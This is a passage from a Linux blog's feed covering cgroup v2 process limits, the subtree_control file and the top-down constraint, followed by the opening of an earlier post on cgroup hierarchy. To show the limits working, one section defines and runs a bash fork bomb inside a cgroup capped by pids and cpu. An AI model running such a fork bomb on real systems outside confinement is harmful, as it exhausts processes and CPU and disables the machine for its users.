&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In fact the whole subtree works as &lt;em&gt;single unit&lt;/em&gt;: the &lt;em&gt;sum&lt;/em&gt; of the consumed resources by the processes in the subtree is subject to the limits of the controller.&lt;/p&gt;
&lt;p&gt;Let’s extend the limit to 3 processes, create a long running process in &lt;code&gt;test/cg2/&lt;/code&gt; and try to spawn more processes on &lt;code&gt;test/cg1/&lt;/code&gt; as before.&lt;/p&gt;
&lt;p&gt;While neither the amount of processes in &lt;code&gt;test/cg1/&lt;/code&gt; nor &lt;code&gt;test/cg2/&lt;/code&gt; exceed the limit of 3 processes, &lt;em&gt;the sum does&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9zbGVlcF9saW1pdGVkX2J5X3BhcmVudC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9zbGVlcF9saW1pdGVkX2J5X3BhcmVudC5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0Pm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_cg1_shell_echo_cat_cg2_sleep_limited_by_parent.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# limit on our parent (test/)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# we can spawn 2 processes without problem&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# because we under the limit (2+1 &amp;lt;= 3)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat
Hello

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# let&amp;#39;s add a process to our sibling (test/cg2)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;sleep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;job-id-proc1&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg2/cgroup.procs&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# limit exceeded: our shell, the sleep process and these&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# 2 spawned processes exceeds the limit of 3 for the whole&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# subtree of test/&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;
&amp;lt;...&amp;gt;fork:&lt;span class="w"&gt; &lt;/span&gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="further-resource-distribution-top-down-constraint"&gt;Further resource distribution: top-down constraint&lt;/h2&gt;
&lt;p&gt;Having sub cgroups makes more sense if we enable controllers there allowing us to have a better discretion to distribute the resources.&lt;/p&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2NnMi5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PldyaXRpbmcgdG8gYCtwaWRzYCB0byBgdGVzdC9jZ3JvdXAuc3VidHJlZV9jb250cm9sYCBlbmFibGVzIHRoZQpyZXNvdXJjZSBjb250cm9sbGVyIG9uIHRoZSBpbW1lZGlhdGUgY2hpbGRyZW4ubWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2NnMi5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PldyaXRpbmcgdG8gYCtwaWRzYCB0byBgdGVzdC9jZ3JvdXAuc3VidHJlZV9jb250cm9sYCBlbmFibGVzIHRoZQpyZXNvdXJjZSBjb250cm9sbGVyIG9uIHRoZSBpbW1lZGlhdGUgY2hpbGRyZW4ubWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_cg1_shell_cg2.svg' type='image/svg+xml'&gt;&lt;/object&gt;
Writing to &lt;code&gt;+pids&lt;/code&gt; to &lt;code&gt;test/cgroup.subtree_control&lt;/code&gt; enables the resource controller on the immediate children.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If we want to define (sub) limits in the &lt;code&gt;test/&lt;/code&gt; immediate children, we need to &lt;em&gt;enable the &lt;code&gt;+pids&lt;/code&gt; controller on the subtree&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# kill the sleep process, not of much interest from now on&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-15&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;pid-proc1&amp;gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +paste +pass&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# enable the controller to the test/ children&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;+pids&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.subtree_control
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;cgroup.subtree_control&lt;/code&gt; lists which controllers the immediate children will have access and control over.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="w"&gt; &lt;/span&gt;test/cg1/pids*
test/cg1/pids.current
test/cg1/pids.events
test/cg1/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="w"&gt; &lt;/span&gt;test/cg2/pids*
test/cg2/pids.current
test/cg2/pids.events
test/cg2/pids.max
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;By default the sub cgroups will have no limit on &lt;em&gt;their&lt;/em&gt; &lt;code&gt;pids.max&lt;/code&gt; file but the are still subject to the limit set in &lt;code&gt;test/&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cg1/pids.max&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# apparently no limit on the child (test/cg1)&lt;/span&gt;
max

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;
&amp;lt;...&amp;gt;fork:&lt;span class="w"&gt; &lt;/span&gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9saW1pdGVkLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0iZGlzcGxheTogYmxvY2s7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IiBjbGFzcz0nJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL2tlcm5lbC9jZ3JvdXBzL3Rlc3RpbmdfY2cxX3NoZWxsX2VjaG9fY2F0X2NnMl9saW1pdGVkLnN2ZycgdHlwZT0naW1hZ2Uvc3ZnK3htbCc+PC9vYmplY3Q+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/kernel/cgroups/testing_cg1_shell_echo_cat_cg2_limited.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The controller can never enlarge or relax the limits on the resource &lt;em&gt;beyond&lt;/em&gt; the limits given by the parent, it can only &lt;em&gt;restrict&lt;/em&gt; it further.&lt;/p&gt;
&lt;p&gt;This is the &lt;em&gt;top-down constraint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So let’s try that!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# limit on the parent (test/)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# we can perfectly spawn these two process now&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat
Hello

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# limit further on the child (cg1/)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# now we can&amp;#39;t: we are hitting the limit not of test/ but of test/cg1/&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=30&lt;/span&gt;
&amp;lt;...&amp;gt;fork:&lt;span class="w"&gt; &lt;/span&gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="explosion-contained"&gt;Explosion contained&lt;/h2&gt;
&lt;p&gt;&lt;label for='CltGb3JrIGJvbWIgcmVmZXJlbmNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9Gb3JrX2JvbWIpLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltGb3JrIGJvbWIgcmVmZXJlbmNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9Gb3JrX2JvbWIpLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://en.wikipedia.org/wiki/Fork_bomb"&gt;Fork bomb reference&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Not really sure why, but a fork bomb in my machine tends to eat all the CPU so it is not just eating all the pids.&lt;/p&gt;
&lt;p&gt;Thankfully, there is a resource controller for the CPU in &lt;code&gt;cgroup&lt;/code&gt; too.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/pids.max&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +fail-fast&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1000 100000&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cpu.max&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +fail-fast&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;max&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;test/cg1/pids.max

$&lt;span class="w"&gt; &lt;/span&gt;bomb&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt;  &lt;/span&gt;bomb&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bomb
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;bomb&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +timeout=90&lt;/span&gt;
&amp;lt;...&amp;gt;Resource&lt;span class="w"&gt; &lt;/span&gt;temporarily&lt;span class="w"&gt; &lt;/span&gt;unavailable&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After a few experiments I would say that the &lt;code&gt;+pids&lt;/code&gt; controller is by no means the only measure to take to contain a fork explosion. Without &lt;code&gt;+cpu&lt;/code&gt; I melted down my machine a few times.&lt;/p&gt;
&lt;p&gt;Run the bomb under your responsibility!&lt;/p&gt;
&lt;h2 id="further-reading"&gt;Further reading&lt;/h2&gt;
&lt;p&gt;With &lt;code&gt;+pids&lt;/code&gt; we set a limit on a resource but &lt;em&gt;limiting&lt;/em&gt; is just one of other possible ways to control a resource.&lt;/p&gt;
&lt;p&gt;We could set for &lt;em&gt;weights&lt;/em&gt; to balance the resource usage between cgroups or we could set minimum levels of a resource (&lt;em&gt;protection&lt;/em&gt;) to mention a few other ways to control a resource.&lt;/p&gt;
&lt;p&gt;All of them are out of the scope for this post as well which resources and controllers exist.&lt;/p&gt;
&lt;h2 id="next-stuff"&gt;Next stuff&lt;/h2&gt;
&lt;p&gt;In the &lt;a href="/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html"&gt;past post&lt;/a&gt; we talked about how we can organize the &lt;code&gt;cgroup&lt;/code&gt; hierarchy and in this post how we can control and distribute resources over it.&lt;/p&gt;
&lt;p&gt;But we talked little about where the processes should be put in the hierarchy. It may seem that they could be put anywhere and for &lt;code&gt;v1&lt;/code&gt; that is true.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;v2&lt;/code&gt; however, the things will get a bit hairy and weird with the &lt;a href="/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html"&gt;no internal process constraint&lt;/a&gt;.&lt;/p&gt;
&lt;!--
Move our shell(s) to the root
$ echo $$ &gt; /sys/fs/cgroup/cgroup.procs                     # byexample: +pass -skip

Limit the test/ cgroup in case the bomb is still exploding and
it is out of control
$ echo 0 &gt; /sys/fs/cgroup/test/pids.max                     # byexample: +pass -skip
$ echo "1000 100000" &gt; /sys/fs/cgroup/test/cpu.max          # byexample: +pass -skip

Kill any subprocess
$ kill -9 $(jobs -p) &amp;&amp; wait                                    # byexample: -skip +pass
$ sleep 2                                                       # byexample: -skip +pass +timeout=8
$ kill -9 $(cat /sys/fs/cgroup/test/cg1/cgroup.procs) &amp;&amp; wait   # byexample: -skip +pass
$ kill -9 $(cat /sys/fs/cgroup/test/cg2/cgroup.procs) &amp;&amp; wait   # byexample: -skip +pass
$ kill -9 $(cat /sys/fs/cgroup/test/cgroup.procs) &amp;&amp; wait       # byexample: -skip +pass
$ sleep 2                                                       # byexample: -skip +pass +timeout=8

$ echo '-pids' &gt; /sys/fs/cgroup/test/cgroup.subtree_control     # byexample: -skip +pass

Delete recursively every cgroup (folder) from the leaves to the
root. All of them should be empty by now
$ cd /sys/fs/cgroup/                                     # byexample: +pass -skip
$ rmdir $(find /sys/fs/cgroup/test/ -type d | sort -r)   # byexample: +pass -skip
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html" rel="alternate" type="text/html" title="Control Group - Resource Distribution"/>
    <category term="linux" label="linux"/>
    <category term="kernel" label="kernel"/>
    <category term="cgroup" label="cgroup"/>
    <category term="fork bomb" label="fork bomb"/>
    <published>2022-04-24T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/04/23/Linux-Control-Group-Hierarchical-Organization.html</id>
    <title>Control Group - Hierarchical Organization</title>
    <updated>2022-04-23T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Control group or &lt;code&gt;cgroup&lt;/code&gt; is a mechanism to distribute and enforce limits over the resources of the system.&lt;/p&gt;
&lt;p&gt;It was introduced in Linux kernel around 2007 but its complexity leaded to inconsistent behaviour and hard adoption.&lt;/p&gt;
&lt;p&gt;Fast forwarding 9 years, in kernel 4.5 a rewrite of &lt;code&gt;cgroup&lt;/code&gt; revamp the idea, making it simpler and consistent.&lt;/p&gt;
&lt;p&gt;This post focus in the organization of cgroups and it is the first of a 3-posts series about &lt;code&gt;cgroup&lt;/code&gt; in its new &lt;code&gt;v2&lt;/code&gt; version.&lt;/p&gt;
&lt;p&gt;In the next posts we will see how the &lt;a href="/articles/2022/04/24/Linux-Control-Group-Resource-Distribution.html"&gt;resources are distributed&lt;/a&gt; among the cgroups and &lt;a href="/articles/2022/04/27/Linux-Control-Group-No-Internal-Process-Constraint.html"&gt;which constraints&lt;/a&gt; do we have.&lt;/p&gt;
&lt;!--more--&gt;
&lt;!--
$ test -d /sys/fs/cgroup/test &amp;&amp; echo "cgroup test/ already created!"     # byexample: +fail-fast
--&gt;
&lt;h2 id="overview-of-cgroup-organization"&gt;Overview of &lt;code&gt;cgroup&lt;/code&gt; organization&lt;/h2&gt;
&lt;p&gt;&lt;label for='CioqTm90YXRpb246KiogSSB3aWxsIHdyaXRlIGBjZ3JvdXBgIHRvIGRlbm90ZSB0aGUgQ29udHJvbCBHcm91cAppbXBsZW1lbnRhdGlvbiBvciBoaWVyYXJjaHkgd2hpbGUgSSB3aWxsIHdyaXRlIGNncm91cCBvciBjZ3JvdXBzIHRvCnJlZmVyIGFib3V0IG9uZSBvciBtb3JlIGdyb3VwcyBpbiBwYXJ0aWN1bGFyLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CioqTm90YXRpb246KiogSSB3aWxsIHdyaXRlIGBjZ3JvdXBgIHRvIGRlbm90ZSB0aGUgQ29udHJvbCBHcm91cAppbXBsZW1lbnRhdGlvbiBvciBoaWVyYXJjaHkgd2hpbGUgSSB3aWxsIHdyaXRlIGNncm91cCBvciBjZ3JvdXBzIHRvCnJlZmVyIGFib3V0IG9uZSBvciBtb3JlIGdyb3VwcyBpbiBwYXJ0aWN1bGFyLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;Notation:&lt;/strong&gt; I will write &lt;code&gt;cgroup&lt;/code&gt; to denote the Control Group implementation or hierarchy while I will write cgroup or cgroups to refer about one or more groups in particular.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cgroup&lt;/code&gt; can be split into two components: the &lt;em&gt;core&lt;/em&gt; that mandates how the cgroups, processes and controllers are organized and the &lt;em&gt;resource controllers&lt;/em&gt; that do the real resource distribution and enforce limits.&lt;/p&gt;
&lt;p&gt;In this post I’ll focus on the core only.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;v1&lt;/code&gt; version, the &lt;code&gt;cgroup&lt;/code&gt; system supported multiple hierarchies of cgroups and processes but this flexibility didn’t pay off.&lt;/p&gt;
&lt;p&gt;In v2, &lt;code&gt;cgroup&lt;/code&gt; has a single hierarchy where all the cgroups, processes and controllers live and that’s what we are going to explore here.&lt;/p&gt;
&lt;p&gt;Let’s get into!&lt;/p&gt;
&lt;h3 id="mount-point"&gt;Mount point&lt;/h3&gt;
&lt;p&gt;To access the control interface of &lt;code&gt;cgroup&lt;/code&gt; we need to have mounted the (pseudo) file system.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;cgroup&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +fail-fast&lt;/span&gt;
cgroup2&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;/sys/fs/cgroup&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cgroup2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;...&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In my case it is mounted on &lt;code&gt;/sys/fs/cgroup&lt;/code&gt;; in some other distros it is mounted under &lt;code&gt;/sys/fs/cgroup/unified&lt;/code&gt;: just check where the (pseudo) &lt;code&gt;cgroup2&lt;/code&gt; file system is mounted.&lt;/p&gt;
&lt;h3 id="creating-new-cgroups"&gt;Creating new cgroups&lt;/h3&gt;
&lt;p&gt;A hierarchy is divided into cgroups and those into more sub cgroups.&lt;/p&gt;
&lt;p&gt;These can be easily created just creating subfolders inside the mount point.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/sys/fs/cgroup
$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="w"&gt; &lt;/span&gt;test/
&amp;lt;...&amp;gt;
cgroup.procs
&amp;lt;...&amp;gt;
cgroup.threads
cgroup.type
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;cgroup.procs&lt;/code&gt; lists the processes’ ids that belongs to the &lt;code&gt;test/&lt;/code&gt; cgroup and, as you may guessed, &lt;code&gt;cgroup.threads&lt;/code&gt; lists the threads’ ids of the processes in the cgroup.&lt;/p&gt;
&lt;p&gt;No process is in my &lt;code&gt;test/&lt;/code&gt; cgroup so both files are empty.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.procs

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;test/cgroup.threads
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the moment (kernel 5.17) there is no limit on how much nested a cgroup can be: we can create as many (sub) cgroups as we may please.&lt;/p&gt;
